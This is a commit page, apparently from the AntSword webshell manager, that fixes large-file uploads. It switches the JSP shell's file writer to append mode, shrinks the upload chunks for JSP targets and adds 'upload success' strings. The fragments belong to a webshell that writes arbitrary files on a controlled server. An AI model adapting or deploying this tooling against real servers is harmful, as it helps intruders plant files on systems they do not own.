Commit 85ac784a authored by Medicean's avatar Medicean

fix upload file too large

parent c6aff369
...@@ -22,7 +22,9 @@ ...@@ -22,7 +22,9 @@
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
ChangeLog: ChangeLog:
Data: 2016/04/29 v1.2 v1.3
1. 修正上传文件超过1M时的bug
Date: 2016/04/29 v1.2
1. 修正修改包含结束tag的文件会出错的 bug 1. 修正修改包含结束tag的文件会出错的 bug
Date: 2016/04/06 v1.1 Date: 2016/04/06 v1.1
1. 修正下载文件参数设置错误 1. 修正下载文件参数设置错误
...@@ -185,7 +187,7 @@ ChangeLog: ...@@ -185,7 +187,7 @@ ChangeLog:
String h = "0123456789ABCDEF"; String h = "0123456789ABCDEF";
File f = new File(savefilePath); File f = new File(savefilePath);
f.createNewFile(); f.createNewFile();
FileOutputStream os = new FileOutputStream(f); FileOutputStream os = new FileOutputStream(f,true);
for (int i = 0; i < fileHexContext.length(); i += 2) { for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
} }
......
...@@ -182,7 +182,7 @@ ...@@ -182,7 +182,7 @@
String h = "0123456789ABCDEF"; String h = "0123456789ABCDEF";
File f = new File(savefilePath); File f = new File(savefilePath);
f.createNewFile(); f.createNewFile();
FileOutputStream os = new FileOutputStream(f); FileOutputStream os = new FileOutputStream(f,true);
for (int i = 0; i < fileHexContext.length(); i += 2) { for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
} }
......
...@@ -232,6 +232,7 @@ module.exports = { ...@@ -232,6 +232,7 @@ module.exports = {
upload: { upload: {
task: { task: {
name: 'Upload', name: 'Upload',
success: 'Upload success!',
failed: (err) => antSword.noxss(`Failed:${err}`), failed: (err) => antSword.noxss(`Failed:${err}`),
error: (err) => antSword.noxss(`Error:${err}`) error: (err) => antSword.noxss(`Error:${err}`)
}, },
......
...@@ -233,6 +233,7 @@ module.exports = { ...@@ -233,6 +233,7 @@ module.exports = {
upload: { upload: {
task: { task: {
name: '上传', name: '上传',
success: '上传成功',
failed: (err) => antSword.noxss(`失败:${err}`), failed: (err) => antSword.noxss(`失败:${err}`),
error: (err) => antSword.noxss(`出错:${err}`) error: (err) => antSword.noxss(`出错:${err}`)
}, },
......
...@@ -632,8 +632,11 @@ class FileManager { ...@@ -632,8 +632,11 @@ class FileManager {
// 上传单个 // 上传单个
let buffIndex = 0; let buffIndex = 0;
let buff = []; let buff = [];
// 分段上传大小,默认1M // 分段上传大小,默认0.5M(jsp 超过1M响应会出错)
let dataSplit = 1024 * 1024; let dataSplit = 512 * 1024;
if (this.opts['type'].toLowerCase() === 'php') {
dataSplit = 1024 * 1024
}
let task = tasks[filePath]; let task = tasks[filePath];
// 获取文件名 // 获取文件名
let fileName = filePath.substr(filePath.lastIndexOf('/') + 1); let fileName = filePath.substr(filePath.lastIndexOf('/') + 1);
...@@ -659,7 +662,7 @@ class FileManager { ...@@ -659,7 +662,7 @@ class FileManager {
res(_b); res(_b);
}else{ }else{
// 上传完毕 // 上传完毕
task.success('100%'); task.success(LANG['upload']['task']['success']);
toastr.success(LANG['upload']['success'](fileName), LANG_T['success']); toastr.success(LANG['upload']['success'](fileName), LANG_T['success']);
// 刷新缓存 // 刷新缓存
this.files.refreshPath(path === this.path ? '' : path); this.files.refreshPath(path === this.path ? '' : path);
...@@ -668,7 +671,7 @@ class FileManager { ...@@ -668,7 +671,7 @@ class FileManager {
} }
}).then((b) => { }).then((b) => {
// 更新进度条 // 更新进度条
task.update(`${parseInt((buffLength - _buff.length) / buffLength * 100)}%`); task.update(`${parseInt((buffLength - (b.length * _buff.length)) / buffLength * 100)}%`);
this.core.request( this.core.request(
this.core.filemanager.upload_file({ this.core.filemanager.upload_file({
path: path + fileName, path: path + fileName,
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment